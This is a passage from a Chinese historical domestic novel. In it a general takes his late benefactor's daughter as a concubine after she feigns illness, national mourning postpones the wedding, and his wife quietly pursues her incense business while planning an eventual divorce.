不过,她好歹也是名门大家的闺秀,若是上赶着做妾,别说府里的人会瞧她不起,只怕裴秉安也不会如以前那般珍重她。
所以她才不得已想了这个法子。
自己是吃了许多的苦头,可一想到以后会有光明的前景,这些苦,也就不算什么了。
“你去静思院,看看将军下值了没有,请他过来一趟,我有话要对他说。”宋婉柔道。
白莲去了静思院,很快去而复返,与她一同回来的,还有裴秉安。
宋婉柔重新理了妆发,坐在椅子上,隔着一扇屏风与他说话。
“大哥,多谢你和大嫂对我这样好,可我每天什么都吃不下,这身子也一天不如一天,眼下不知还有多少日子......”
听到她虚弱无力的声音,还有阵阵的咳嗽声,裴秉安自责不已。
他答应过宋伯父,本该照顾好婉柔的,可谁知她来了裴府,身体却一天比一天更差,连太医开的药都没什么用处。
“婉柔,你不要担心,我会遍访名医,为你请来最好的大夫,你一定能好起来的。”裴秉安沉声道。
宋婉柔忽然拿帕子擦了擦眼睛,哭道:“大哥,你不必费心了。我昨晚做了个梦,梦见自己快死了,我死前没有夫家,死后无处可去,只能做个孤魂野鬼四处游荡。”
裴秉安眉头紧锁。
婉柔是外嫁女,死后不能葬入宋家祖坟,她的丈夫亡故,她离开亡甘州时,就曾说过再也不想回去,如今她病重至此,该给她找个什么样的夫家出嫁?
他本想着,待她病好以后,给她寻个家世样貌样样出众的丈夫,将她体面地嫁出去,可谁想,却好像等不到这一天了。
“婉柔,日有所思夜有
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所梦,这样的梦,当不得真。”饶是心中难过,他还是尽力宽慰她。
想到自己筹谋多日,就是为了这一刻,宋婉柔捏紧了绣帕,一鼓作气地说:“大哥,看在我爹的份上,还请大哥成全我,给我个名分,把我的名字写在裴家族谱上,让我有个踏实的容身之处。”
裴秉安愣了许久。
婉柔的话,实在让他为难。
男人三妻四妾本是为常事,他以后亦会纳妾,好为裴家开枝散叶,但那是苏氏为他诞嫡长子以后的事,在她诞下子嗣之前,他暂无这个打算。
况且,即便纳妾,他也不会让婉柔做他的妾室,一个妾室的名分,岂不委屈了她?宋伯父对他恩重如山,他怎能如此对待婉柔?
但苏氏是他的贤妻,苏家于裴家亦有恩情,他绝不会让她下堂。
可婉柔的请求,又实在让人难以拒绝。
裴秉安不置可否,久久沉默。
今天是他的休沐之日,他该宿在贤妻苏氏的院子。
到了紫薇院,他脸色沉凝,眉头紧拧,有几次想开口对贤妻说些什么,却又抿紧了唇。
他这番少有的纠结模样,苏云瑶都看在眼里。
“夫君有何事烦心?”
裴秉安薄唇僵直地抿成一条直线。
婉柔的话,他不该不答应,可面对温柔贤惠的苏氏,他一时不知如何开口。
苏云瑶含笑看着他的眼睛,道:“可是跟婉柔妹妹有关,她的病可好些了?”
裴秉安不安地握了握大掌,不知为何,开口时,嗓音有些干哑。
“婉柔的病,实在严重,她担心自己死后孤苦无依,魂魄不得安宁。”
苏云瑶差点笑出声来。
这种胡诌的鬼话,亏他深信不疑。
“婉柔妹妹的病,当真就如此严重了?夫君可看清楚了,万一她是故意为之呢?”
裴秉安剑眉拧起,眸底闪过一抹冷色。
“婉柔怎会拿自己的性命开玩笑?你身为大嫂,怎能说出这种冷酷无情的话!”
苏云瑶静静地看着他,一时没有开口。
她忽地想起,与他成亲的第二天,她不小心睡多了,早晨去给婆母请安时,比第一天晚了半个时辰。
婆母等她久了,竟犯了胃痛的老毛病。
病情来势汹汹,婆母躺在榻上一天没沾水米,直到她惭愧地侍奉到晚上,连番保证再不会晚来请安时,她的病才忽然好了。
“夫君,母亲的病,真有这么严重吗?是不是我刚嫁进来,她在给我这个长媳立规矩,故意装病不吃饭的?”晚上回去后,她细细琢磨事情原委,这样问他。
他却冷声告诫道:“母亲怎会拿自己的身体开玩笑?身为长媳,你应当对母亲敬重有加,悉心侍奉,以后不可再说出这种不敬的话!”
思绪悄然回笼,苏云瑶微微一笑。
多年来根深蒂固的印象扎根在他脑海里,他只会相信他自己看到的一切,旁人再多的话也无用。
她提醒过他了,他不信,那就算了,她还有自己的事要忙,也无暇因他与宋婉柔的事计较分心。
不过,有些话,不用等着他开口,不如她直接说出来,还能博个贤惠大度的名声。
毕竟,以后与他提出和离时,她想与他好聚好散,各自安好,念着这些年她为裴家的付出,想必他也不会强人所难。
她沉吟片刻,轻快地清了清嗓子,微笑着说:“夫君,我嫁来得早,白占着正妻的名分,却没有给夫君生下一男半女,心里本就惭愧,若不是怕夫君担上负恩的名声,早该自请下堂,让夫君娶妹妹做正妻的。只是妹妹如今身体不好,也等不得了,夫君不如给妹妹一个妾室的名分,办一桩喜事冲冲喜,说不定妹妹的病就好了。宋家伯父如果在天有灵,也会知道夫君是在照顾妹妹,不会埋怨夫君的。”
裴秉安沉沉看着她,一时心中五味杂陈。
她还是他的贤妻。
她如此善解人意,贤惠大度,实在让他深感欣慰。
可他心中,却有些隐约的不快,这种感觉不知从何而来,让他又久久沉默起来。
15. 第 15 章
夫君要纳宋婉柔做妾,去给婆母和老太太请安的时候,苏云瑶向两位长辈说了这件事。
罗氏没说什么,大户人家谁没有三妻四妾的,老爷在世时,也纳了几房妾室,这算不得什么,长媳这样做,是她该尽的本分。
“纳妾就纳妾吧,又不是多大的事,倒是给你妹妹添妆的事,你需得时时放在心上。”罗氏这样道。
到了桂香堂,老太太听她提起这事,脸上露出了满意的笑容。
不过,听说婉柔病了,还染了咳疾,老太太只怕她是个身子柔弱的,以后不能怀上孩子。
苏云瑶道:“祖母放心,这件喜事一办,妹妹的病很快就好了,只要她调养好身体,过不了多久,就能为夫君诞下子嗣了。”
老太太笑道:“既是如此,快打发人去选个好日子,赶在八月十五前,尽快热热闹闹把喜事办了,咱们好过团圆节。”
苏云瑶让人看了黄历,黄历上说,八月初十这日宜嫁娶,是个好日子,今日是初五,还余下四五天的准备时间,足够了。
月华院重新打扫了一番,添置了新婚用的喜被喜帐,院门窗畔贴了大红的喜字,府里的绣娘也在为宋婉柔赶制玫红色的吉服。
只是最近因太后娘娘有恙,皇上亲自侍奉左右,无暇处理政务,裴秉安暂领了枢密院的职事,军务更加繁忙,苏云瑶一连几天没见到他,还没来得及为他量身赶做新郎吉服。
这日晚间,他从外面回来后,按照定下的规矩,来了紫薇院过夜。
苏云瑶正在给牛妈妈说初十那日准备席面的事,见他来了,先让牛妈妈回去,对他道:“夫君,你与妹妹成亲的日子,就定在了本月初十,祖母和母亲都看过了,说是个好日子。我先拟了一张参宴的亲朋名单,要根据这个定那日的宴席规格数量,夫君先过目一下,看看可还有遗漏的地方?”
她说着,便递来一张单子,上面列了景王府、陆国公府、林府等几家常有来往的亲朋好友名单,他的几位下属的名字也都列在单子上,总共加起来,不下四五十个人。
接过名单扫了几眼,裴秉安沉默未语。
初十,近在眼前了。
苏氏打理家宅一向细心妥帖,连为他与婉柔操办婚事,也如此细心周到,没有半分粗疏大意。
他敛眸看了会儿,突然道:“不必大办了,就在府里摆几桌家宴吧。”
苏云瑶有些意外。
她要请的亲朋已经少之又少了,宴席也不过打算准备十桌左右,算不上大办。
这毕竟是他纳的头一个妾室,也该正经办一场。
可他的脸色沉凝,语气也有些冷淡,似乎有些不悦,许是不想铺张浪费。
她便顺从地点点头:“好,那就照夫君说得来办吧。”
天色已暗了,屋里掌着灯,悠亮光线下,苏云瑶始终微笑着,举止也如平常一样温柔体贴。
可看到贤妻扬起的唇角,不知为何,裴秉安的胸口,似堵了一团郁气。
他沉默片刻,道:“时候不早了,歇息吧。”
苏云瑶道:“夫君等等,还有一件要事。”
她拿了软尺过来,笑道:“我给夫君量一下臂长腰围。”
裴秉安默然扫了眼她手里的软尺,道:“量尺寸做甚?我的衣裳已经够多了,无需再做了。”
苏云瑶笑着摇了摇头,道:“不是做平时的衣裳,要依着尺寸做成亲的吉服,婉柔妹妹的衣裳已经快做好了,夫君的也要尽快赶制出来。”
她说着,便拿着软尺,将一端轻轻按在他的腰侧,另一端环过他劲瘦的腰身绕到前面,两端比在一起看了眼尺寸,默默把数记在了心里。
裴秉安垂眸盯着她乌黑的发顶,薄唇抿成了一条直线。
“夫君伸一下胳膊,我量臂长。”
裴秉安顿了顿,缓缓将长臂伸直。
软尺从他的肩头量到腕骨,苏云瑶念念有词地记下长度,量完了尺寸,她笑道:“好了,我这就打发丫鬟交给绣娘,今晚就开始做,千万不能耽误了吉时。”
裴秉安负手立在原地,神色沉冷如霜。
半晌,他莫名深吸一口气,冷声道:“睡吧。”
苏云瑶忙道:“还有一件事,夫君别忘了,办成亲宴之前,记得给婉柔妹妹写纳妾文书,还要开祠堂,敬告列祖列宗,把婉柔妹妹的名字记在族谱上。”
他军务繁忙,白日见不到人,若不是今天是他宿在这里的日子,晚上也不一定能见到他,她担心他忘了,特意提醒他一句。
写了纳妾文书,记上族谱,在律法上,宋婉柔便成了他名正言顺的妾室,至于成亲宴,则是告知众人他们成亲的事实,是另一项重要的仪式。
听到她的话,裴秉安沉默许久,道:“今晚我还有事,你自己先睡吧。”
他说完,便拂袖大步离去,高大挺拔的背影渐行渐远,很快便消失在了夜色中,不知去了哪里。
苏云瑶不由腹诽了几句。
他成亲那日的细节她还没来得及跟他说呢,他这便走了。
不过,晚间他不住在这里,她也乐得轻松。
苏荷香的方子她琢磨了许久,灵白那味香料她终于找出些眉目来。
那日她去保和堂特意翻了徐长霖的医书,从中寻得了一本医方古籍中有关于灵白的记载,原来那是一味少见的西域香草,接下来只要她试着将香草添加到苏荷香中,如无意外,这味香便能调制成功了。
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成亲前的这一天,初九这一日,裴秉安打开裴家祠堂,燃香祭拜祖宗,在族内几位长辈的见证下,将宋婉柔的名字写入裴家族谱,记在正妻苏氏之后。
期间他沉默未发一言,苏云瑶一直陪在他的左右。
“夫君,寻常人家纳妾,都是办完成亲宴,才会改对妾室的称呼。依我来看,我们家就不必循规蹈矩了,婉柔妹妹既然已入了族谱,今日就让下人改称姨奶奶吧,这是喜事,对婉柔妹妹的病也好。”苏云瑶微笑建议。
裴秉安垂眸看着她。
她总是思虑齐全,细心体贴,连这样的小事,都想得这般周到。
他默然片刻,哑声开口:“你吩咐下去吧。”
回到花厅,苏云瑶召来府里的管事们,道:“自此以后,月华院的婉柔姑娘就是将军的妾室,以后你们见了,都恭称为姨奶奶。”
听到大奶奶的吩咐,府内的仆从纷纷应下。
月华院中,得知自己已功成大半,宋婉柔不由松了口气,唇畔浮出笑意。
“姑娘,婚服做好了,你试试合不合身。”绣娘将成婚的吉服做好了,白莲喜滋滋地拿了过来。
宋婉柔拿起帕子,掩唇轻轻咳嗽了几声。
自从裴秉安答应给她个妾室的名分后,她已按时用饭了,只是身子偶感风寒,这咳嗽的症状,竟一时还没好全。
对镜打量着身上的婚服,宋婉柔的柳眉却蹙了起来。
妾室不能用大红的颜色,这身婚服是玫红色的,瞧着颜色也不错,到底不如正红鲜艳。
一旁,看着姑娘终于穿上婚服,白莲高兴地抹了抹眼泪。
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功夫不负有心人,姑娘与将军有情人终成眷属,以后也有了终身的依靠。
“待明日摆完宴席,姑娘与将军圆了房,早日生下儿子,就算真正熬出头来了。那大奶奶就算是个正妻,也得让你三分,这府里的一切,早晚会是姑娘说了算。”
宋婉柔对镜勾起了唇角。
她在这府里忍耐了许久,总算有了个正经身份,以后势必要与那鸠占鹊巢的苏氏争个高低。
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晚间,因为要准备明日的喜宴,临睡前,苏云瑶又打发人去了月华院一趟,叮嘱院里的丫鬟早起就给宋婉柔梳头理妆,免得耽误了吉时。
她这样有条不紊地安排着,脸上没见丝毫不耐烦,青杏看在眼里,心里难受得厉害。
她今儿去月华院送东西,瞧见那宋姑娘好好的,哪有一点儿病重的样子,她分明就是装的!她来裴府,就是为了攀上将军!
将军不知怎么回事,竟待她那么好,事事为她着想,还纳她为妾,论相貌,论品行,她哪一点比得上大奶奶?
青杏抹着眼泪想,说不定,她们都被将军的外表骗了,以为他是个忠贞正直的男人,其实他早就与那姓宋的情投意合了,只是担心影响姓宋的名声,才故意让她装病,做出一副迫不得已纳她为妾的模样。
大奶奶真正涵养极好,心胸宽广,为这样一对狗男女操持婚事,竟然没有半点生气。
青杏气得眼泪汪汪,苏云瑶靠在美人榻上,慢慢咬着蜜饯,奇怪地看了她一眼。
“好端端的,哭什么?”
青杏抹了抹眼睛,没作声。
苏云瑶知道她为自己不平,可这丫头却不知道,这会儿她心里在暗喜。
她的苏荷香已经制好了,等宋婉柔真正嫁进来,她连避子丸都不用再吃了,和离的日子越来越近,以后留在裴府的日子,她可以做个甩手掌柜,轻轻松松地过。
但这些事,她不能明着告诉丫头,看青杏抹眼掉泪的,她便故意道:“今天每个人都赏了喜钱,你比别人还多半吊钱,你跟了我三年,攒的嫁妆也不少了,还嫌钱不够?好歹为你主子考虑考虑,以后你嫁人我还得给你添妆,非得把我掏空了不成?”
都什么时候了,大奶奶还在打趣人,这是赏钱的事吗?那喜钱谁爱要就要,她才不稀罕!
青杏被她气得不轻,眼泪也不掉了,决定到厢房躺着睡觉去。
刚走到房外,却吓了一跳。
不知何时,将军竟然负手站在门外。
他穿着一身黑衣,整个人不声不响,几乎与夜色融为了一体。
青杏下意识要行礼,转念想起他与那宋氏的事,便装作什么都没看见,甩脸子转身走了。
正房一时安静下来,只有窸窣的翻书声,裴秉安在外驻足许久后,沉默着跨进了门槛。
听到熟悉的脚步声,苏云瑶讶然抬眸。
她已换了寝衣,正靠在床头看睡前喜爱翻阅的话本,此时正看到最有趣的章回,没想到他会过来。
苏云瑶合上看了一半的话本,掀开锦被下榻。
“夫君有事?”
裴秉安垂眸看着她,喉结艰涩地滚了滚,一时不知该如何开口。
只要不是他该宿在她院里的日子,每次见到他,她总是询问他是否有事。
似乎他来找她,便必然有事要吩咐她做。
他这次来,并不知要说什么,也不知要做什么。
只是信步走到紫薇院外,看到她房里的灯还亮着,便不由自主地走了进来。
16. 第 16 章
裴秉安迟迟没有开口。
室内寂然无声,突然有风自窗隙吹来,烛火明灭跳动了几下。
苏云瑶将窗关紧了,在灯烛上罩了琉璃罩,回身时瞥了眼案上的香漏。
此时已快到亥时三刻,时辰可不早了。
要搁以往,她看完话本,在脸上敷完养肤的花露,就要吹灯睡下了。
明日还要办成亲宴,都这个时辰了,他又到紫薇院来平白打扰人休息。
苏云瑶暗暗腹诽几句,面上却是没显出不耐烦来,只是耐着性子提醒他:“夫君到底有什么事?说清楚了,明天一早我打发人办好,现在太晚了,该睡觉了。”
裴秉安沉沉地凝视着她,黑沉眼眸追随着她的一举一动。
说话时,她打了个困倦的哈欠,抬手掩住了唇,纤细的玉白皓腕露出一截。
沉默片刻,他忽然走近了,大掌握住她的手腕,沉声道:“云瑶,我......”
二门忽然传来砰砰的云板声,连敲了四下。
之后停了几瞬,又用同样突兀阴森的节奏,重重敲了四下。
苏云瑶意外地一愣,裴秉安的脸色也微微变了。
这云板是传讯用的。
白日里管事们按照固定的时辰到花厅回事,若是苏云瑶临时召集他们传话,就用这云板敲击两下传讯。
到了晚间,府中内宅各处角门都落了锁,二门外头若是有要紧的事,亦是敲击云板传讯。
只是云板连敲四下的情况少之又少,因为这意味着,有人来报丧。
“我去看看,有什么事。”
裴秉安说完,便大步流星地走了出去。
苏云瑶睡意全无,匆忙换了衣裳,让丫鬟点亮了院里的灯,等着裴秉安再差人过来传话。
等了大约一刻多钟,他去而复返,亲自告诉她说:“是宫里来人了,太后娘娘于西苑殡天,皇上要亲迎太后娘娘灵柩入宫,金吾卫奉命护卫左右,刻不容缓,我现在马上出城。”
他顿了顿,又道:“国事为重,其他的,以后再定。”
目送他离开,苏云瑶细细思量了许久。
太后娘娘是当今圣上生母,已到古稀之年,此前居于京都西苑养病,这个年岁驾鹤西去,也属寿终正寝,不算意外。
只是皇上以孝治天下,太后娘娘殡天,是为国丧,势必举国哀悼,想来有爵位官职在身的,需得长守国孝。
果然,第二日一早便有宫中旨意传来,凡有爵位、官职之家,一年内禁止筵宴音乐,更不得嫁娶。
裴秉安袭着老太爷的伯爵之位,又是金吾卫上将军,身居高位,又得皇上看重,不消说,他更得严于律己,恪守国孝。
原定于当天的婚仪,不得不暂时取消,只能等他回来,再商议该怎么办。
为表哀悼,裴府大门挂上了白灯笼,月华院中,大红的喜字揭了下来。
宋婉柔换下婚仪吉服,脸色难看无比。
她五更时就画完妆容,换上了新娘吉服,此时却突然传来这种消息,怎能让她不烦?
白莲劝道:“姑娘,裴府上上下下都改了口,您已经是裴府的姨奶奶了,不过就差一个和将军的婚仪,等将军回来,再想法子补上就是了。这个时候,您可不要生气,要拿出大方的气度来,国孝是大事,裴府的人都看在眼里,莫要因为这个落人口舌。”
宋婉柔掩唇咳了几声,恨恨道:“我何尝不知道这个?只是讨厌苏氏非选定这个日子,若是再往前一日,哪里会赶上这样的事?”
白莲深以为然,冷笑道:“大奶奶装得贤惠大度,实际挑选日子的时候,还不是故意往后拖了几天。”
正说着话,苏云瑶带着丫鬟过来了。
今日的婚仪办不成,宋婉柔肯定不高兴,做为裴秉安的正妻,她有必要过来宽慰他的妾室几句。
想到他临走前留下的那句“以后再定”,苏云瑶道:“妹妹,将军可能得几日才会回来,你且安心等着,等他回来了,要怎么做,就听他的安排。”
宋婉柔用帕子掩着唇,暗暗打量了她几眼。
她原以为,她嫁给裴秉安,苏氏心里定然会不痛快,可瞧着她神采奕奕的模样,倒是没显出半点不高兴来。
无非是她心机深沉而已。
今天的婚仪被迫取消,她嘴上不说,心里不知有多幸灾乐祸。
宋婉柔思量片刻,轻轻咳了几声,浅笑着说:“我知道,婚仪没办成,是实在没法子的事,想必将军心里也无奈。姐姐聪慧贤淑,还请姐姐多替我与将军考虑考虑,想个两全之策,将婚仪办完。”
虽是守国孝,也不见得要那样死守规矩。
如果她这个正妻果真贤惠,就该等裴秉安回来,晚间在府里置办几桌宴席,不声不响地替他们办了婚仪,让他们圆圆满满,不留遗憾。
苏云瑶莞尔一笑。
她倒是巴不得裴秉安与她的婚仪顺利办完,好让自己贤妻的美名远扬。
可事关国孝,若是她真自作主张替他们操办了此事,就是埋下了隐患。
万一裴秉安被人弹劾国孝期间纳妾,他可能会降职受刑不说,只怕整个裴家的人都得受牵连。
不管怎么说,与裴秉安和离之前,裴府不能出什么岔子,她才能全身而退。
她的难题抛过来,苏云瑶不动声色地挡了回去。
“妹妹说的我怎么会不明白?只是这件事,光凭我想法子是不成的,还是等将军回来,一切由他定夺吧。”
三日后,裴秉安终于回了府。
他一回来,便差人往紫薇院传了话。
苏云瑶去了他的院子,见到他先问了他的差事。
“夫君,宫里的事可办好了?”
裴秉安道:“太后娘娘的灵柩已迎进宫中,只待停灵四十九天之后安葬。”
太后停灵期间,按制还得进宫祭拜,苏云瑶若有所思地点了点头,道:“那将军与婉柔妹妹的婚仪该怎么办?”
裴秉安默然片刻,沉声道:“国孝不可不服,与她的婚仪,一年以后再办。”
他说得不容置疑,没有商量的余地,苏云瑶只得歇了劝他再想想法子的心思。
不过,婚仪可以推后补办,宋婉柔的名字已记入裴家族谱,从律法上来说,已是他的妾室。
府里的下人也早改了口,事急从权,即便不办婚仪,摊上这样的意外,旁人也不会苛责他亏欠宋婉柔,只是到底留了些遗憾,恐怕她自己心里不大舒服。
一路风尘仆仆,回到府里衣裳都没来得及换,裴秉
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安脱着外袍时,听到贤妻温柔体贴地提醒道:“晚一年再办,是有些委屈了婉柔妹妹,将军记得多宽慰妹妹吧,免得妹妹心里难受。”
裴秉安淡淡嗯了一声。
要说的事说完了,苏云瑶便打算离开。
不过她刚转身走了几步,裴秉安忽地吩咐道:“今晚你留下,别走了。明日起祖母与母亲都要进宫随祭,有些事,要一同商议一下。”
苏云瑶脚步意外地顿住,缓缓转眸看向他,不可思议地扬起秀眉。
亏她刚才还提醒过他了,他是只想着宫里的事,一个字都没听到脑子里去吗?
她微微一笑,不得不说得更明白些。
“夫君忘了吗?初十是你与婉柔妹妹成亲的日子,虽说婚仪可以推迟一年再办,但妹妹已经是你的妾室了,夫君今晚应该去妹妹的院子。”
裴秉安拉开腰封的动作突然一顿。
看他一时没开口,苏云瑶笑了笑,道:“祖母与母亲进宫祭拜需要的东西,我都会准备好的,夫君放心吧。婉柔妹妹现在身体已经调养好了,夫君与妹妹早日圆房,早日诞下子嗣,也能早日圆了老太太抱上重长孙的心愿。”
裴秉安未发一言,薄唇几乎紧抿成一条直线。
屋外突地响起一道高扬的声音,白莲笑着走了进来。
“将军回来还没用饭吧?姑娘亲手做了桂花羹,请将军去尝尝吧。”
苏云瑶弯唇一笑。
幸亏宋婉柔打发了丫鬟来请他,以后自己晚上再不必担心什么留宿的破规矩,她没再说什么,脚步轻快地离开了静思院。
回到紫薇院,她打算今晚早些歇息,明日要一早为老太太和婆母准备车马用物,得比平时起床还要早。
她脱下繁复的外裳,拆了头上的钗环,让青杏给她通头发。
只是,不同于以往,青杏给她梳着那头缎子似的乌发时,始终一声不吭,对着镜子,苏云瑶瞧见她皱着眉头,嘴巴简直噘上了天。
“什么事又惹到你,让你不开心了?”她笑道。
青杏抿紧了嘴,眼睛红红的,还是不吭声。
方才她去巡夜,亲眼看见将军去了月华院。
虽说知道将军早晚要与那宋氏圆房,可她心里,还是为大奶奶感到难受。
苏云瑶早已猜到了几分,看青杏不说话,便更加肯定自己所猜无疑了。
她自己根本无所谓,只是她的丫鬟都是忠心护主的,还得有个慢慢适应的过程。
“你去把我做的苏荷香饼都拿出来,放到匣子里装好了,明日我出府的时候要带上。”
她故意打发青杏去做事。
那些苏荷香饼够她忙活一阵了,人一忙起来,烦心的事便会暂时抛到一边,她噘起的嘴巴也会放平了。
苏云瑶如往常般看了会儿话本子,待有些困意后,便吹灯歇下了。
床榻柔软舒适,这一觉睡得无比踏实。
直到五更时分,忽然觉得屋内好像坐了个人。
苏云瑶迷迷糊糊地朝外翻了个身,揉了揉惺忪睡眼向床帐外看去。
只见裴秉安身姿笔挺地坐在对面的椅子上,一双大掌握拳置于膝上。
听到她醒来的窸窣响动,他垂眸看向她,沉甸甸的视线似有实质。
17. 第 17 章
苏云瑶简直被他吓了一跳。
晚间一向是青桔在屋外守夜,也不知这丫头到底是怎么值守的,连裴秉安进了这座院子都不知道。
苏云瑶看了看香漏。
此时已过了五更时分,想必他是刚从月华院出来,顺路到这里等她起来,好嘱咐她准备祖母与母亲去宫里祭拜的用物。
他坐在椅子上,距离她的床榻很近,她自小闻着各种香料长大,嗅觉异常灵敏,甚至能闻到他的衣裳上,有淡淡的桂花香。
当朝百姓家里都爱用香,裴府也不例外,各院里常用的熏香,苏云瑶比谁都清楚。
老太太屋里常用沉香,婆母平时诵经,爱用檀香,妹妹裴淑娴喜欢清冽悠长的海棠香,弟媳崔如月爱用香味扑鼻的瑞香花,只有宋婉柔的屋子里,有馥郁香甜的桂花香。
他在她的房里住了一晚,晨风未曾吹散他身上的味道。
天色尚早,这会儿醒来也不迟,苏云瑶掀被下榻,笑道:“夫君等久了吧,我昨晚已经提前派人备好车马了,不知祖母与母亲起床了没有,我这就去祖母院里看看。”
她睡得很好,一双乌黑的杏眼清澈分明,笑容也分外甜美,裴秉安目不转睛地盯着她的眸子,无声松了口气。
他听说,有的家宅之中妻妾不合,正妻表面贤惠,实则暗中处处为难妾室,争风吃醋,好在苏氏表里如一依然贤惠,并没有因他宿在婉柔的院子,而辗转反侧,嫉妒难眠。
他要与祖母、母亲同去宫中守灵祭拜,十日后方能回来,府里有贤妻持家理事,他很是放心。
想到昨晚的情形,他沉吟片刻,叮嘱道:“婉柔身子柔弱,以后怕是不能到你院里来请安了,你不要怪她。她病体未愈,你今日记得去她的院子探望一番。”
苏云瑶爽快地点了点头。
虽说按照裴府的规矩,妾室每天应给正妻请安敬茶,她却只嫌这种面子功夫浪费时间,正好他发了话,她便应了下来。
辰时左右,送祖母与婆母一行人出了府,苏云瑶便去了趟月华院。
到了院里,正房的里间关着门,白莲看到她进来,笑着迎上来道:“大奶奶,姨奶奶昨晚累了一夜,还没醒来呢。”
苏云瑶微笑着点了点头:“妹妹辛苦了。听说妹妹还有些咳嗽,不知好全了没有?”
不一会儿,听到外面的说话声,宋婉柔便从里间走了出来。
她简单理了妆发,脸庞娇羞未褪,衣袖挽至腕间,抬手抚摸鬓发时,手腕上的红印子频频显露出来。
“我还没来得及去姐姐院里敬茶,竟劳动姐姐一早便来探望,”宋婉柔轻轻捏了捏腰身,垂眸时,不好意思地拿帕子掩唇咳嗽了几声,“咳嗽的毛病,也不是一时半会儿能好全的,多谢姐姐关心。”
她与裴秉安圆了房,苏云瑶反倒放了心。
她吩咐人每日给月华院额外送二两燕窝来,燕窝滋阴润燥,于宋婉柔的咳嗽有利。
她的病症早日好全了,早日怀上子嗣,裴秉安的心就会越扑在她身上,届时做为一个一无所出的正妻,她计划进行的和离之策,便会更加顺利。
打理好府里的事,苏云瑶便去了一趟香料铺子。
香铺二楼的雅室内,她将苏荷香饼放在香炉上,细雾似的轻烟逐渐在屋内弥漫,清幽、甜美的香气浸人肺腑,犹如晨起时百花同时绽放,味道清新自然,绵延悠长,让人神清气爽,身心愉悦。
“怎么样?”苏云瑶看着刘信,笑吟吟地问道。
刘信搓了搓大掌,又惊又喜地咧开嘴角。
不同于静心养神的清味香,这香饼实在太好闻了,比老爷夫人在世时,苏家香铺里卖的最好的香饼还要好。
他不知道该怎么描述这种味道,抬起大手挠了挠头,道:“小姐,好极了,您做的这种香饼一定会大受欢迎。”
苏云瑶笑着点点头,刘信这样说,她心里便有了几分把握。
现在香铺里卖的最好的是清味香,已经积攒了许多老顾客,这味苏荷香制作出来,等老主顾上门时,铺子里的伙计便可以先向他们兜售。
若是苏荷香果真受欢迎的话,她就把香饼的秘方交于刘信,让他尽快安排制作出一些来,放在铺子里售卖。
当朝允许官员家眷经商,有些官员家的商铺赚得盆满钵满,其中不乏有人借此结交攀附,或是互利互惠,或是敛财受贿。
裴秉安勤俭廉洁,不屑于此,就连逢年过节时,也从不许府中接受别处送来的厚礼,更别提会允许府里的人开铺子做生意。
所以,这香铺里的生意,完全是她自己私下的买卖,顾客们连这铺子的东家是谁都不知道,香铺能在京都立足,生意做得越来越红火,是凭苏家独到的香料方子赢得了主顾的口碑,没有特意借助裴家的权势。
若说有利之处,便是凭着裴秉安的正妻身份,她可以自由进出裴家府邸,以及偶尔参加宴席时,她所用的熏香,会引得一些夫人太太争相模仿,这也间接促成了香铺的生意。
离开香铺时,为防别人认出她来,苏云瑶如来时一样戴上帷帽,坐上马车回了府。
回到紫薇院,刚坐在美人榻上吃了几口蜜饯,却见裴淑娴的丫鬟春燕突然来了。
进了屋,春燕急急忙忙行了个礼,道:“大奶奶,小姐今天躺床上一天了都没起来,连饭都不肯吃,看上去像生病了,还请您过去看看小姐吧。”
苏云瑶不急不忙地喝了盏茶。
“请大夫了吗?”她问道。
春燕说:“没有,小姐不肯请大夫,她说自己没病。”
苏云瑶凝神想了一会儿。
自打上次劝导了裴淑娴一回,还给了她一本珍藏多时的话本子,她最近倒是没再出过府。
婆母不知道她有这个心结,还与她说了几次要给她定亲的事,当着婆母的面,每回裴淑娴都乖乖点头应下,看上去没什么异常。
她还以为妹妹的脑子总算转过弯来,打定主意以后嫁个好夫婿,彻底忘了那贺探花。
没成想,婆婆刚离府不到一日,她又不肯吃饭了。
临近中秋,傍晚有些凉意,苏云瑶披了件斗篷出门。
到了裴淑娴的院子,她病恹恹地半靠在床头,双眼盯着团扇上的一首诗,一副郁郁寡欢的模样。
“妹妹好些了吗?”苏云瑶道。
裴淑娴转头看着她,拿团扇遮着脸,只露出一双眼睛,一眨眼,泪珠儿便潺潺流了下来。
“衣带渐宽人憔悴,泪流干,心如灰,大嫂,你懂我的哀伤吗?”
苏云瑶:“......”
裴淑娴道:“大嫂,你知道今天是什么日子吗?”
苏云瑶思索片刻,实在想不到今日有什么特殊之处。
“什么日子?”
裴淑娴哀怨地看着她:“今天是清瑜哥哥的生辰。”
苏云瑶:“......”
裴淑娴坐起来,翻过手里的团扇,那扇子的背面题着一首诗,她珍惜万分地抚摸着上面的每一个字,道:“大嫂,我听你的话,再没去偷偷看过他。可我心里苦啊,每当我难过的时候,我就看一看这首诗,这是清瑜哥哥去年过生辰时,我给他写的诗。每读一次,我就好像看见他站在我面前,我们像以前那样,坐在矮墙上,看星星,看月亮,吟诗作赋,谈古论今。可现在......”
苏云瑶头疼地揉了揉额角。
读诗的人早都将它忘到九霄云外去了,写诗的人还当个宝贝
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似地揣在心头。
她实在想不明白,裴淑娴为何会痴恋一个根本不在意她的人。
世间男子那么多,何苦只喜欢那一个?
不过,这种事,得她自己彻底想明白,才能过了这个槛。
苏云瑶劝道:“淑娴,你想开一点,以后高高兴兴嫁个更好的夫婿不好吗?不在意你的人,何必还放在心上?”
裴淑娴幽幽叹气:“大嫂,你说得倒洒脱,我心里的痛苦,你怎能明白?”
话未说完,她忽地冷笑一声,直勾勾地看了过来,愁怨的眼神竟一时变得十分犀利。
“大嫂,你是不是不喜欢我大哥?你要是喜欢他,怎么还会心甘情愿地给他纳妾?”
苏云瑶心里咯噔一下。
“怎么可能?我心里只有你大哥,”她转了转腕上的玉镯,面不改色地微笑着道,“只是身为长嫂,我当事事做为表率,要是你大哥纳了妾,我便与他闹上一场,以后你二嫂三嫂都跟着我学,天天闹得鸡飞狗跳,咱们家的家风不就败坏了吗?”
裴淑娴盯着她看了一会儿,似是有些不相信她的话:“那大哥的生辰快到了,你给他准备生辰礼了没有?”
苏云瑶在心里算了算,裴秉安的生辰在九月初九重阳节那一天,还有将近一个月呢,她天天忙得脚不沾地,哪有空给他准备生辰礼?
倒是不如给淑娴找点事做,让她分分心,省得整天惦记着那个贺探花,心里再郁结出毛病来。
“妹妹读书多,有见识,不如帮我想一想,我该给你大哥准备一份什么样的礼物合适?”
裴淑娴转了转手里的团扇,幽幽道:“大嫂这么说,我也推辞不得,这生辰礼要别出心裁才好,我尽力而为吧。”
她想了一会儿,似是想出个极好的主意来:“大嫂会画画吗?”
